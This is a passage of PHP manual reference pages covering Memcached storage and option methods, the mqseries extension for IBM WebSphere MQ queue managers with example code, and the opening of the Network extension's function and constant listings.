$m->setMulti($items, time() + 300);
?>

See Also

  • Memcached::setMultiByKey() - Store multiple items on a specific server
  • Memcached::set() - Store an item

User Contributed Notes

jooonic at googlemail dot com 25-Aug-2010 01:10
Dont expect setmulti is faster then multiple SETs!
It doesn't use the setmulti lib function, it iterats over every key and send him alone.
I can't find any php implementation with setmulti support (needs support for memcached's binary protocol, remember php's "memcache"-extension only supports text-protocol).
Thats bad, not enought throughput to membase.
So i have to use redis instead, coz of its support for get/set multi.
Memcached::setByKey
Memcached::setMultiByKey
Memcached


Store multiple items on a specific server

Memcached::setMulti
Memcached::setOption
Memcached
PHP Manual

Memcached::setMultiByKey

(PECL memcached >= 0.1.0)

Memcached::setMultiByKey — Store multiple items on a specific server

Description

public bool Memcached::setMultiByKey ( string $server_key , array $items [, int $expiration ] )

Memcached::setMultiByKey() is functionally equivalent to Memcached::setMulti(), except that the free-form server_key can be used to map the keys from items to a specific server. This is useful if you need to keep a bunch of related keys on a certain server.

Parameters

server_key

The key identifying the server to store the value on.

items

An array of key/value pairs to store on the server.

expiration

The expiration time, defaults to 0. See Expiration Times for more info.

Return Values

Returns TRUE on success or FALSE on failure. Use Memcached::getResultCode() if necessary.

See Also

  • Memcached::setMulti() - Store multiple items
  • Memcached::set() - Store an item

User Contributed Notes

There are no user contributed notes for this page.
Memcached::setMulti
Memcached::setOption
Memcached


Set a Memcached option

Memcached::setMultiByKey
mqseries
Memcached
PHP Manual

Memcached::setOption

(PECL memcached >= 0.1.0)

Memcached::setOption — Set a Memcached option

Description

public bool Memcached::setOption ( int $option , mixed $value )

This method sets the value of a Memcached option. Some options correspond to the ones defined by libmemcached, and some are specific to the extension. See Memcached Constants for more information.

The options listed below require values specified via constants.

  • Memcached::OPT_HASH requires Memcached::HASH_* values.

  • Memcached::OPT_DISTRIBUTION requires Memcached::DISTRIBUTION_* values.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Setting a Memcached option

<?php
$m = new Memcached();
var_dump($m->getOption(Memcached::OPT_HASH) == Memcached::HASH_DEFAULT);
$m->setOption(Memcached::OPT_HASH, Memcached::HASH_MURMUR);
$m->setOption(Memcached::OPT_PREFIX_KEY, "widgets");
echo "Prefix key is now: ", $m->getOption(Memcached::OPT_PREFIX_KEY), "\n";
?>

The above example will output:

bool(true)
Prefix key is now: widgets

See Also

  • Memcached::getOption() - Retrieve a Memcached option value

User Contributed Notes

Harry Fuecks 26-May-2010 01:25
Be warned that setting the option Memcached::OPT_DISTRIBUTION to Memcached::DISTRIBUTION_CONSISTENT can carry a significant performance hit so is best used with persistent connections. More details at http://github.com/andreiz/php-memcached/issues#issue/14
Memcached::setMultiByKey
mqseries
Memcached


mqseries

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • mqseries Functions
    • mqseries_back — MQSeries MQBACK
    • mqseries_begin — MQseries MQBEGIN
    • mqseries_close — MQSeries MQCLOSE
    • mqseries_cmit — MQSeries MQCMIT
    • mqseries_conn — MQSeries MQCONN
    • mqseries_connx — MQSeries MQCONNX
    • mqseries_disc — MQSeries MQDISC
    • mqseries_get — MQSeries MQGET
    • mqseries_inq — MQSeries MQINQ
    • mqseries_open — MQSeries MQOPEN
    • mqseries_put1 — MQSeries MQPUT1
    • mqseries_put — MQSeries MQPUT
    • mqseries_set — MQSeries MQSET
    • mqseries_strerror — Returns the error message corresponding to a result code (MQRC).

User Contributed Notes

There are no user contributed notes for this page.
Memcached::setOption
Introduction
Other Services


Introduction

This extension aims to provide an interface for communicating with IBMs WebSphere MQ series Queue managers.

The interface mimics the C-API client interface of WebSphere MQ Series as close as possible. Using the same naming conventions and possibilities of the C-API. In order to understand the workings of this extension some level of understanding the C-API is required.

For MQ-options, MQ-structures, MQ-results etc. please read the WebSphere MQ Application Programming Guide and WebSphere MQ Application Programming Reference.

User Contributed Notes

There are no user contributed notes for this page.
mqseries
Installing/Configuring
mqseries


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
mqseries


Requirements

A working IBM WebSphere MQ installation. If building the extension the SDK for IBM WebSphere MQ is also required.

Note: Be aware that when running against a IBM WebSphere MQ Client installation some methods are not available. This is not a problem of the extension but just the way the WebSphere MQ Client Interface works.

Installation requirements on non windows platforms

Build the extension and put it in the PHP extension directory.

Installation requirements on Windows

No additional requirements.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/mqseries.

Note: The official name of this extension is mqseries.

There are two ways to connect to a queue manager. These depend on the way the extension is compiled and linked.

  • First one and also the default one is using the mqic libraries. Compiling and linking the extension against these IBM WebSphere MQSeries libraries allows the extension to connect to the Queue manager using the client interface. Remote connections are possible this way.

  • The other way is to compile and link against the mqm libraries. Using these libraries it is possible to make use of the transaction management of a queue manager.

Currently selecting the libraries to use is done by changing the config.m4 file.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

There are no extra configuration parameters.

User Contributed Notes

There are no user contributed notes for this page.
Installation
Resource Types
Installing/Configuring


Resource Types

This extension defines a connection and object_handle resources.

The mqseries_conn() and mqseries_connx() define the connectionn handles.

The mqseries_open() defines the object handle.

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

For each WebSphere MQ Constant there is a mqseries counterpart.

For definitions and usage see the WebSphere MQ Application Programming Guide and WebSphere MQ Application Programming Reference red books.

The name of the mqseries counterpart is made by appending the WebSphere MQ constant with MQSERIES_, for example the CompletionCode constants are:

mqseries constants
PHP Constant | MQ Constant
MQSERIES_MQCC_OK | MQCC_OK
MQSERIES_MQCC_WARNING | MQCC_WARNING
MQSERIES_MQCC_FAILED | MQCC_FAILED
MQSERIES_MQCC_UNKNOWN | MQCC_UNKNOWN

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
mqseries Functions
mqseries


mqseries Functions

Table of Contents

  • mqseries_back — MQSeries MQBACK
  • mqseries_begin — MQseries MQBEGIN
  • mqseries_close — MQSeries MQCLOSE
  • mqseries_cmit — MQSeries MQCMIT
  • mqseries_conn — MQSeries MQCONN
  • mqseries_connx — MQSeries MQCONNX
  • mqseries_disc — MQSeries MQDISC
  • mqseries_get — MQSeries MQGET
  • mqseries_inq — MQSeries MQINQ
  • mqseries_open — MQSeries MQOPEN
  • mqseries_put1 — MQSeries MQPUT1
  • mqseries_put — MQSeries MQPUT
  • mqseries_set — MQSeries MQSET
  • mqseries_strerror — Returns the error message corresponding to a result code (MQRC).

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
mqseries_back
mqseries


MQSeries MQBACK

mqseries Functions
mqseries_begin
mqseries Functions
PHP Manual

mqseries_back

(PECL mqseries >= 0.10.0)

mqseries_back — MQSeries MQBACK

Description

void mqseries_back ( resource $hconn , resource &$compCode , resource &$reason )

The mqseries_back() (MQBACK) call indicates to the queue manager that all the message gets and puts that have occurred since the last syncpoint are to be backed out. Messages put as part of a unit of work are deleted; messages retrieved as part of a unit of work are reinstated on the queue.

Using mqseries_back() only works in conjunction with mqseries_begin() and only function when connecting directly to a Queueu manager. Not via the mqclient interface.

Parameters

hConn

Connection handle.

This handle represents the connection to the queue manager.

compCode

Completion code.

reason

Reason code qualifying the compCode.

Return Values

No value is returned.

Examples

Example #1 mqseries_back() example

<?php
    mqseries_back($conn, $comp_code, $reason);

    if ($comp_code !== MQSERIES_MQCC_OK) {
        printf("CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
    }
?>

Notes

Note:

mqseries_back() will not function when using MQSeries Client to connect to a Queueu Manager.

See Also

  • mqseries_conn() - MQSeries MQCONN
  • mqseries_connx() - MQSeries MQCONNX
  • mqseries_begin() - MQseries MQBEGIN

User Contributed Notes

There are no user contributed notes for this page.
mqseries Functions
mqseries_begin
mqseries Functions


MQseries MQBEGIN

mqseries_back
mqseries_close
mqseries Functions
PHP Manual

mqseries_begin

(PECL mqseries >= 0.10.0)

mqseries_begin — MQseries MQBEGIN

Description

void mqseries_begin ( resource $hconn , array $beginOptions , resource &$compCode , resource &$reason )

The mqseries_begin() (MQBEGIN) call begins a unit of work that is coordinated by the queue manager, and that may involve external resource managers.

Using mqseries_begin() starts the unit of work. Either mqseries_back() or mqseries_cmit() ends the unit of work.

Parameters

hConn

Connection handle.

This handle represents the connection to the queue manager.

compCode

Completion code.

reason

Reason code qualifying the compCode.

Return Values

No value is returned.

Examples

Example #1 mqseries_begin() example

<?php
    $mqbo = array();
    mqseries_begin( $conn,
                    $mqbo,
                    $comp_code,
                    $reason);
    if ($comp_code !== MQSERIES_MQCC_OK) {
        /* reason code 2121 is a warning for more information see MQSeries reference manual.*/
        if ($reason !== 2121) {
            printf("CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
        }
    }
?>

Notes

Note:

mqseries_begin() will not function when using MQSeries Client to connect to a Queueu Manager.

See Also

  • mqseries_conn() - MQSeries MQCONN
  • mqseries_connx() - MQSeries MQCONNX
  • mqseries_back() - MQSeries MQBACK
  • mqseries_cmit() - MQSeries MQCMIT

User Contributed Notes

There are no user contributed notes for this page.
mqseries_back
mqseries_close
mqseries Functions


MQSeries MQCLOSE

mqseries_begin
mqseries_cmit
mqseries Functions
PHP Manual

mqseries_close

(PECL mqseries >= 0.10.0)

mqseries_close — MQSeries MQCLOSE

Description

void mqseries_close ( resource $hconn , resource $hobj , int $options , resource &$compCode , resource &$reason )

The mqseries_close() (MQCLOSE) call relinquishes access to an object, and is the inverse of the mqseries_open() (MQOPEN) call.

Parameters

hConn

Connection handle.

This handle represents the connection to the queue manager.

hObj

Object handle.

This handle represents the object to be used.

options

compCode

Completion code.

reason

Reason code qualifying the compCode.

Return Values

No value is returned.

Examples

Example #1 mqseries_close() example

<?php
    mqseries_close($conn, $obj, MQSERIES_MQCO_NONE, $comp_code, $reason);
    if ($comp_code !== MQSERIES_MQCC_OK) {
        printf("close CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
    }
?>

See Also

  • mqseries_open() - MQSeries MQOPEN
  • mqseries_conn() - MQSeries MQCONN
  • mqseries_connx() - MQSeries MQCONNX

User Contributed Notes

There are no user contributed notes for this page.
mqseries_begin
mqseries_cmit
mqseries Functions


MQSeries MQCMIT

mqseries_close
mqseries_conn
mqseries Functions
PHP Manual

mqseries_cmit

(PECL mqseries >= 0.10.0)

mqseries_cmit — MQSeries MQCMIT

Description

void mqseries_cmit ( resource $hconn , resource &$compCode , resource &$reason )

The mqseries_cmit() (MQCMIT) call indicates to the queue manager that the application has reached a syncpoint, and that all of the message gets and puts that have occurred since the last syncpoint are to be made permanent. Messages put as part of a unit of work are made available to other applications; messages retrieved as part of a unit of work are deleted.

Parameters

hConn

Connection handle.

This handle represents the connection to the queue manager.

compCode

Completion code.

reason

Reason code qualifying the compCode.

Return Values

No value is returned.

Examples

Example #1 mqseries_cmit() example

<?php
    mqseries_cmit($conn, $comp_code, $reason);
    if ($comp_code !== MQSERIES_MQCC_OK) {
        printf("cmit CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
    }
?>

Notes

Note:

mqseries_back() will not function when using MQSeries Client to connect to a Queueu Manager.

See Also

  • mqseries_begin() - MQseries MQBEGIN
  • mqseries_back() - MQSeries MQBACK
  • mqseries_conn() - MQSeries MQCONN
  • mqseries_connx() - MQSeries MQCONNX

User Contributed Notes

There are no user contributed notes for this page.
mqseries_close
mqseries_conn
mqseries Functions


MQSeries MQCONN

mqseries_cmit
mqseries_connx
mqseries Functions
PHP Manual

mqseries_conn

(PECL mqseries >= 0.10.0)

mqseries_conn — MQSeries MQCONN

Description

void mqseries_conn ( string $qManagerName , resource &$hconn , resource &$compCode , resource &$reason )

The mqseries_conn() (MQCONN) call connects an application program to a queue manager. It provides a queue manager connection handle, which is used by the application on subsequent message queuing calls.

Parameters

qManagerName

Name of queue manager.

Name of the queue manager the application wishes to connect.

hConn

Connection handle.

This handle represents the connection to the queue manager.

compCode

Completion code.

reason

Reason code qualifying the compCode.

Return Values

No value is returned.

Examples

Example #1 mqseries_conn() example

<?php
    mqseries_conn('WMQ1', $conn, $comp_code, $reason);
    if ($comp_code !== MQSERIES_MQCC_OK) {
        printf("conn CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
        exit;
    }
?>

See Also

  • mqseries_disc() - MQSeries MQDISC

User Contributed Notes

There are no user contributed notes for this page.
mqseries_cmit
mqseries_connx
mqseries Functions


MQSeries MQCONNX

mqseries_conn
mqseries_disc
mqseries Functions
PHP Manual

mqseries_connx

(PECL mqseries >= 0.10.0)

mqseries_connx — MQSeries MQCONNX

Description

void mqseries_connx ( string $qManagerName , array &$connOptions , resource &$hconn , resource &$compCode , resource &$reason )

The mqseries_connx() (MQCONNX) call connects an application program to a queue manager. It provides a queue manager connection handle, which is used by the application on subsequent MQ calls.

Parameters

qManagerName

Name of queue manager.

Name of the queue manager the application wishes to connect.

connOps

Options that control the action of function

See also the MQCNO structure.

hConn

Connection handle.

This handle represents the connection to the queue manager.

compCode

Completion code.

reason

Reason code qualifying the compCode.

Return Values

No value is returned.

Examples

Example #1 mqseries_connx() example

<?php
    $mqcno = array(
        'Version' => MQSERIES_MQCNO_VERSION_2,
        'Options' => MQSERIES_MQCNO_STANDARD_BINDING,
        'MQCD' => array('ChannelName' => 'MQNX9420.CLIENT',
        'ConnectionName' => 'localhost',
        'TransportType' => MQSERIES_MQXPT_TCP)
    );

    mqseries_connx('MQNX9420', $mqcno, $conn, $comp_code,$reason);
    if ($comp_code !== MQSERIES_MQCC_OK) {
        printf("Connx CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
        exit;
    }

?>

See Also

  • mqseries_disc() - MQSeries MQDISC

User Contributed Notes

There are no user contributed notes for this page.
mqseries_conn
mqseries_disc
mqseries Functions


MQSeries MQDISC

mqseries_connx
mqseries_get
mqseries Functions
PHP Manual

mqseries_disc

(PECL mqseries >= 0.10.0)

mqseries_disc — MQSeries MQDISC

Description

void mqseries_disc ( resource $hconn , resource &$compCode , resource &$reason )

The mqseries_disc() (MQDISC) call breaks the connection between the queue manager and the application program, and is the inverse of the mqseries_conn() (MQCONN) or mqseries_connx() (MQCONNX) call.

Parameters

hConn

Connection handle.

This handle represents the connection to the queue manager.

compCode

Completion code.

reason

Reason code qualifying the compCode.

Return Values

No value is returned.

Examples

Example #1 mqseries_disc() example

<?php
    mqseries_disc($conn, $comp_code, $reason);
    if ($comp_code !== MQSERIES_MQCC_OK) {
        printf("disc CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
    }
?>

See Also

  • mqseries_conn() - MQSeries MQCONN
  • mqseries_connx() - MQSeries MQCONNX

User Contributed Notes

There are no user contributed notes for this page.
mqseries_connx
mqseries_get
mqseries Functions


MQSeries MQGET

mqseries_disc
mqseries_inq
mqseries Functions
PHP Manual

mqseries_get

(PECL mqseries >= 0.10.0)

mqseries_get — MQSeries MQGET

Description

void mqseries_get ( resource $hConn , resource $hObj , array &$md , array &$gmo , int &$bufferLength , string &$msg , int &$data_length , resource &$compCode , resource &$reason )

The mqseries_get() (MQGET) call retrieves a message from a local queue that has been opened using the mqseries_open() (MQOPEN) call

Parameters

hConn

Connection handle.

This handle represents the connection to the queue manager.

hObj

Object handle.

This handle represents the object to be used.

md

Message descriptor (MQMD).

gmo

Get message options (MQGMO).

bufferLength

Expected length of the result buffer

msg

Buffer holding the message that was retrieved from the object.

data_length

Actual buffer length

compCode

Completion code.

reason

Reason code qualifying the compCode.

Return Values

No value is returned.

Examples

Example #1 mqseries_get() example

<?php
// open connection to the queue manager
    mqseries_conn('WMQ1', $conn, $comp_code, $reason);
// $conn now hold the reference to the connection to the queue manager.

// open the connection to the testq queue
    mqseries_open(
                $conn,
                array('ObjectName' => 'TESTQ'),
                MQSERIES_MQOO_INPUT_AS_Q_DEF | MQSERIES_MQOO_FAIL_IF_QUIESCING | MQSERIES_MQOO_OUTPUT,
                $obj,
                $comp_code,
                $reason);
// $obj now holds the reference to the object (TESTQ)

// setup empty message descriptor.
    $mdg = array();
// setup get message options
    $gmo = array('Options' => MQSERIES_MQGMO_FAIL_IF_QUIESCING | MQSERIES_MQGMO_WAIT, 'WaitInterval' => 3000);

// get the message from the queueu
    mqseries_get($conn, $obj, $mdg, $gmo, 255, $msg, $data_length, $comp_code, $reason);
    if ($comp_code !== MQSERIES_MQCC_OK) {
        printf("GET CompCode:%d Reason:%d Text:%s<br>", $comp_code, $reason, mqseries_strerror($reason));
    }

 // open connection to the queue manager
    mqseries_conn('WMQ1', $conn, $comp_code, $reason);
// $conn now hold the reference to the connection to the queue manager.

// open the connection to the testq queue
    mqseries_open(
                $conn,
                array('ObjectName' => 'TESTQ'),
                MQSERIES_MQOO_INPUT_AS_Q_DEF | MQSERIES_MQOO_FAIL_IF_QUIESCING | MQSERIES_MQOO_OUTPUT,
                $obj,
                $comp_code,
                $reason);
// $obj now holds the reference to the object (TESTQ)

?>

See Also

  • mqseries_conn() - MQSeries MQCONN
  • mqseries_connx() - MQSeries MQCONNX
  • mqseries_open() - MQSeries MQOPEN
  • mqseries_put() - MQSeries MQPUT

User Contributed Notes

There are no user contributed notes for this page.
mqseries_disc
mqseries_inq
mqseries Functions


MQSeries MQINQ

mqseries_get
mqseries_open
mqseries Functions
PHP Manual

mqseries_inq

(PECL mqseries >= 0.10.0)

mqseries_inq — MQSeries MQINQ

Description

void mqseries_inq ( resource $hconn , resource $hobj , int $selectorCount , array $selectors , int $intAttrCount , resource &$intAttr , int $charAttrLength , resource &$charAttr , resource &$compCode , resource &$reason )

The mqseries_inq() (MQINQ) call returns an array of integers and a set of character strings containing the attributes of an object.

Parameters

hConn

Connection handle.

This handle represents the connection to the queue manager.

hObj

Object handle.

This handle represents the object to be used.

selectorCount

Count of selectors.

selectors

Array of attribute selectors.

intAttrLength

Count of integer attributes.

intAttr

Array of integer attributes.

charAttrLength

Length of character attributes buffer.

charAttr

Character attributes.

compCode

Completion code.

reason

Reason code qualifying the compCode.

Return Values

No value is returned.

Examples

Example #1 mqseries_inq() example

<?php
    $int_attr = array();
    $char_attr = "";

    mqseries_inq($conn, $obj, 1, array(MQSERIES_MQCA_Q_MGR_NAME), 0, $int_attr, 48, $char_attr, $comp_code, $reason);

    if ($comp_code !== MQSERIES_MQCC_OK) {
        printf("INQ CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
    } else {
        echo "INQ QManager name result ".$char_attr."<br>\n";
    }
?>

See Also

  • mqseries_conn() - MQSeries MQCONN
  • mqseries_connx() - MQSeries MQCONNX
  • mqseries_open() - MQSeries MQOPEN

User Contributed Notes

There are no user contributed notes for this page.
mqseries_get
mqseries_open
mqseries Functions


MQSeries MQOPEN

mqseries_inq
mqseries_put1
mqseries Functions
PHP Manual

mqseries_open

(PECL mqseries >= 0.10.0)

mqseries_open — MQSeries MQOPEN

Description

void mqseries_open ( resource $hconn , array &$objDesc , int $option , resource &$hobj , resource &$compCode , resource &$reason )

The mqseries_open() (MQOPEN) call establishes access to an object.

Parameters

hConn

Connection handle.

This handle represents the connection to the queue manager.

objDesc

Object descriptor. (MQOD)

options

Options that control the action of the function.

hObj

Object handle.

This handle represents the object to be used.

compCode

Completion code.

reason

Reason code qualifying the compCode.

Return Values

No value is returned.

Examples

Example #1 mqseries_open() example

<?php
    $mqods = array('ObjectName' => 'TESTQ');
    mqseries_open(
                $conn,
                $mqods,
                MQSERIES_MQOO_INPUT_AS_Q_DEF | MQSERIES_MQOO_FAIL_IF_QUIESCING | MQSERIES_MQOO_OUTPUT,
                $obj,
                $comp_code,
                $reason);
    if ($comp_code !== MQSERIES_MQCC_OK) {
        printf("open CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
        exit;
    }
?>

See Also

  • mqseries_close() - MQSeries MQCLOSE

User Contributed Notes

There are no user contributed notes for this page.
mqseries_inq
mqseries_put1
mqseries Functions


MQSeries MQPUT1

mqseries_open
mqseries_put
mqseries Functions
PHP Manual

mqseries_put1

(PECL mqseries >= 0.10.0)

mqseries_put1 — MQSeries MQPUT1

Description

void mqseries_put1 ( resource $hconn , resource &$objDesc , resource &$msgDesc , resource &$pmo , string $buffer , resource &$compCode , resource &$reason )

The mqseries_put1() (MQPUT1) call puts one message on a queue. The queue need not be open.

Parameters

hConn

Connection handle.

This handle represents the connection to the queue manager.

objDesc

Object descriptor. (MQOD)

This is a structure which identifies the queue to which the message is added.

msgDesc

Message descriptor (MQMD).

pmo

Put message options (MQPMO).

compCode

Completion code.

reason

Reason code qualifying the compCode.

Return Values

No value is returned.

See Also

  • mqseries_conn() - MQSeries MQCONN
  • mqseries_connx() - MQSeries MQCONNX
  • mqseries_open() - MQSeries MQOPEN
  • mqseries_get() - MQSeries MQGET

User Contributed Notes

There are no user contributed notes for this page.
mqseries_open
mqseries_put
mqseries Functions


MQSeries MQPUT

mqseries_put1
mqseries_set
mqseries Functions
PHP Manual

mqseries_put

(PECL mqseries >= 0.10.0)

mqseries_put — MQSeries MQPUT

Description

void mqseries_put ( resource $hConn , resource $hObj , array &$md , array &$pmo , string $message , resource &$compCode , resource &$reason )

The mqseries_put() (MQPUT) call puts a message on a queue or distribution list. The queue or distribution list must already be open.

Parameters

hConn

Connection handle.

This handle represents the connection to the queue manager.

hObj

Object handle.

This handle represents the object to be used.

md

Message descriptor (MQMD).

pmo

Put message options (MQPMO).

message

The actual message to put onto the queue.

compCode

Completion code.

reason

Reason code qualifying the compCode.

Return Values

No value is returned.

Examples

Example #1 mqseries_put() example

<?php
// open connection to the queue manager
    mqseries_conn('WMQ1', $conn, $comp_code, $reason);
// $conn now hold the reference to the connection to the queue manager.

// open the connectio to the testq queueu
    mqseries_open(
                $conn,
                array('ObjectName' => 'TESTQ'),
                MQSERIES_MQOO_INPUT_AS_Q_DEF | MQSERIES_MQOO_FAIL_IF_QUIESCING | MQSERIES_MQOO_OUTPUT,
                $obj,
                $comp_code,
                $reason);
// $obj now holds the reference to the object (TESTQ)

// setup the message descriptor array. Check MQSeries reference manuals.
    $md = array(
                'Version' => MQSERIES_MQMD_VERSION_1,
                'Expiry' => MQSERIES_MQEI_UNLIMITED,
                'Report' => MQSERIES_MQRO_NONE,
                'MsgType' => MQSERIES_MQMT_DATAGRAM,
                'Format' => MQSERIES_MQFMT_STRING,
                'Priority' => 1,
                'Persistence' => MQSERIES_MQPER_PERSISTENT);

// setup the put message options.
    $pmo = array('Options' => MQSERIES_MQPMO_NEW_MSG_ID|MQSERIES_MQPMO_SYNCPOINT);

// put the message 'Ping' on the queueu.
    mqseries_put($conn, $obj, $md, $pmo, 'Ping', $comp_code, $reason);

    if ($comp_code !== MQSERIES_MQCC_OK) {
        printf("put CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
    }

// close the object reference $obj
    mqseries_close($conn, $obj, MQSERIES_MQCO_NONE, $comp_code, $reason);

// disconnect from the queue manager.
    mqseries_disc($conn, $comp_code, $reason);

?>

See Also

  • mqseries_conn() - MQSeries MQCONN
  • mqseries_connx() - MQSeries MQCONNX
  • mqseries_open() - MQSeries MQOPEN
  • mqseries_get() - MQSeries MQGET

User Contributed Notes

There are no user contributed notes for this page.
mqseries_put1
mqseries_set
mqseries Functions


MQSeries MQSET

mqseries_put
mqseries_strerror
mqseries Functions
PHP Manual

mqseries_set

(PECL mqseries >= 0.10.0)

mqseries_set — MQSeries MQSET

Description

void mqseries_set ( resource $hconn , resource $hobj , int $selectorcount , array $selectors , int $intattrcount , array $intattrs , int $charattrlength , array $charattrs , resource &$compCode , resource &$reason )

The mqseries_set() (MQSET) call is used to change the attributes of an object represented by a handle. The object must be a queue.

Parameters

hConn

Connection handle.

This handle represents the connection to the queue manager.

compCode

Completion code.

reason

Reason code qualifying the compCode.

Return Values

No value is returned.

See Also

  • mqseries_inq() - MQSeries MQINQ

User Contributed Notes

There are no user contributed notes for this page.
mqseries_put
mqseries_strerror
mqseries Functions


Returns the error message corresponding to a result code (MQRC).

mqseries_set
Network
mqseries Functions
PHP Manual

mqseries_strerror

(PECL mqseries >= 0.10.0)

mqseries_strerror — Returns the error message corresponding to a result code (MQRC).

Description

string mqseries_strerror ( int $reason )

mqseries_strerror() returns the message that correspond to the reason result code.

Parameters

reason

Reason code qualifying the compCode.

Return Values

string representation of the reason code message.

Examples

Example #1 mqseries_strerror() example

<?php
    if ($comp_code !== MQSERIES_MQCC_OK) {
        printf("open CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
        exit;
    }
?>

The above example will output:

Connx CompCode:2 Reason:2059 Text:Queue manager not available for connection.

User Contributed Notes

There are no user contributed notes for this page.
mqseries_set
Network
mqseries Functions


Network

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Network Functions
    • checkdnsrr — Check DNS records corresponding to a given Internet host name or IP address
    • closelog — Close connection to system logger
    • define_syslog_variables — Initializes all syslog related variables
    • dns_check_record — Alias of checkdnsrr
    • dns_get_mx — Alias of getmxrr
    • dns_get_record — Fetch DNS Resource Records associated with a hostname
    • fsockopen — Open Internet or Unix domain socket connection
    • gethostbyaddr — Get the Internet host name corresponding to a given IP address
    • gethostbyname — Get the IPv4 address corresponding to a given Internet host name
    • gethostbynamel — Get a list of IPv4 addresses corresponding to a given Internet host name
    • gethostname — Gets the host name
    • getmxrr — Get MX records corresponding to a given Internet host name
    • getprotobyname — Get protocol number associated with protocol name
    • getprotobynumber — Get protocol name associated with protocol number
    • getservbyname — Get port number associated with an Internet service and protocol
    • getservbyport — Get Internet service which corresponds to port and protocol
    • header_register_callback — Call a header function
    • header_remove — Remove previously set headers
    • header — Send a raw HTTP header
    • headers_list — Returns a list of response headers sent (or ready to send)
    • headers_sent — Checks if or where headers have been sent
    • http_response_code — Get or Set the HTTP response code
    • inet_ntop — Converts a packed internet address to a human readable representation
    • inet_pton — Converts a human readable IP address to its packed in_addr representation
    • ip2long — Converts a string containing an (IPv4) Internet Protocol dotted address into a proper address
    • long2ip — Converts an (IPv4) Internet network address into a string in Internet standard dotted format
    • openlog — Open connection to system logger
    • pfsockopen — Open persistent Internet or Unix domain socket connection
    • setcookie — Send a cookie
    • setrawcookie — Send a cookie without urlencoding the cookie value
    • socket_get_status — Alias of stream_get_meta_data
    • socket_set_blocking — Alias of stream_set_blocking
    • socket_set_timeout — Alias of stream_set_timeout
    • syslog — Generate a system log message

User Contributed Notes

There are no user contributed notes for this page.
mqseries_strerror
Introduction
Other Services


Introduction

Provides various networking functions.

User Contributed Notes

There are no user contributed notes for this page.
Network
Installing/Configuring
Network


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Network


Requirements

Functions checkdnsrr(), getmxrr() and dns_get_record() requires Bind on Linux.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Network Configuration Options
Name | Default | Changeable | Changelog
define_syslog_variables | "0" | PHP_INI_ALL | Deprecated in PHP 5.3.0. Removed in PHP 5.4.0.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

define_syslog_variables boolean

Whether or not to define the various syslog variables (e.g. $LOG_PID, $LOG_CRON, etc.). Turning it off is a good idea performance-wise. At runtime, you can define these variables by calling define_syslog_variables().

User Contributed Notes

There are no user contributed notes for this page.
Installation
Resource Types
Installing/Configuring


Resource Types

This extension defines a file pointer resource returned by fsockopen() and pfsockopen().

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

The constants below are always available as part of the PHP core.

openlog() Options
Constant | Description
LOG_CONS | if there is an error while sending data to the system logger, write directly to the system console
LOG_NDELAY | open the connection to the logger immediately
LOG_ODELAY | (default) delay opening the connection until the first message is logged
LOG_NOWAIT |
LOG_PERROR | print log message also to standard error
LOG_PID | include PID with each message
openlog() Facilities
Constant | Description
LOG_AUTH | security/authorization messages (use LOG_AUTHPRIV instead in systems where that constant is defined)
LOG_AUTHPRIV | security/authorization messages (private)
LOG_CRON | clock daemon (cron and at)
LOG_DAEMON | other system daemons
LOG_KERN | kernel messages
LOG_LOCAL0 ... LOG_LOCAL7 | reserved for local use, these are not available in Windows
LOG_LPR | line printer subsystem
LOG_MAIL | mail subsystem
LOG_NEWS | USENET news subsystem
LOG_SYSLOG | messages generated internally by syslogd
LOG_USER | generic user-level messages
LOG_UUCP | UUCP subsystem
syslog() Priorities (in descending order)
Constant | Description
LOG_EMERG | system is unusable
LOG_ALERT | action must be taken immediately
LOG_CRIT | critical conditions
LOG_ERR | error conditions
LOG_WARNING | warning conditions
LOG_NOTICE | normal, but significant, condition
LOG_INFO | informational message
LOG_DEBUG | debug-level message
dns_get_record() Options
Constant | Description
DNS_A | IPv4 Address Resource
DNS_MX | Mail Exchanger Resource
DNS_CNAME | Alias (Canonical Name) Resource
DNS_NS | Authoritative Name Server Resource
